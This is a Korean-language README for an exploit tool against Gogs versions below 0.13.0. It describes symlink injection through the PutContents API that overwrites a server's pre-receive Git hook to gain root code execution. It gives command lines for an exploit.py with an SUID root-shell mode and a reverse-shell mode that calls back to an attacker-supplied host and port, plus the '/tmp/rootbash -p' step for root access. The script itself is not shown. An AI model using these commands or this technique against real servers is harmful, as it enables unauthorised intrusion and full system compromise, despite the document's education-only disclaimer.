
Gogs의 PutContents API에서 부적절한 심볼릭 링크 처리를 통해 로컬 코드 실행이 가능합니다.
Gogs의 PutContents API에서 부적절한 심볼릭 링크 처리로 인해 로컬 코드 실행이 가능합니다.
이 저장소는 Gogs 0.13.0 미만 버전의 치명적인 취약점에 대한 전문가 수준의 익스플로잇을 포함합니다. 익스플로잇은 Gogs API가 저장소 콘텐츠를 업데이트할 때 파일 유형을 검증하지 못하는 논리적 결함을 이용합니다. 서버 측 Git 훅(pre-receive)을 가리키는 심볼릭 링크를 주입하면 인증된 사용자가 악성 스크립트로 훅의 콘텐츠를 덮어쓸 수 있습니다. 이후 Git 푸시 작업이 Gogs 서비스를 실행하는 사용자(일반적으로 root)의 컨텍스트에서 이 스크립트를 실행하게 됩니다.
심볼릭 링크 주입: 공격자는 내부 저장소 훅(예: /root/gogs-repositories//.git/hooks/pre-receive)을 가리키는 심볼릭 링크를 푸시합니다.
API 덮어쓰기: Gogs API는 심볼릭 링크의 콘텐츠 업데이트를 허용합니다. 쓰기 작업 중 OS가 링크를 따라가므로 내부 Git 훅이 덮어써집니다.
RCE / 권한 상승: 후속 Git 푸시가 pre-receive 훅을 트리거합니다. Gogs가 RUN_USER = root로 구성된 경우, 공격자는 전체 시스템 제어 권한을 얻습니다.
요구 사항
python3 exploit.py --url http://target:3000 --user <username> --pass <password> --mode suid
완료 후, 대상에서 root 액세스 권한 획득:
/tmp/rootbash -p
python3 exploit.py --url http://target:3000 --user <username> --pass <password> --mode rev --lhost <your_ip> --lport 4444
이 도구는 교육 목적 및 공인된 보안 감사 전용입니다. 저자는 귀하가 소유하거나 명시적 테스트 권한이 있는 시스템에서 이 도구로 인한 오용 또는 손해에 대해 책임을 지지 않습니다.
| 인자 | 필수 | 설명 |
|---|
--url | 예 | Gogs 인스턴스의 기본 URL (예: http://127.0.0.1:3001). |
--user | 예 | 인증에 사용할 유효한 사용자 이름. |
--pass | 예 | 지정된 사용자의 유효한 비밀번호. |
--mode | 아니오 | 익스플로잇 모드: suid (/tmp/rootbash 생성) 또는 rev (리버스 셸). |
--lhost | 아니오 | 리버스 셸 콜백을 위한 로컬 IP 주소. |
--lport | 아니오 | 리버스 셸 리스너를 위한 로컬 포트. |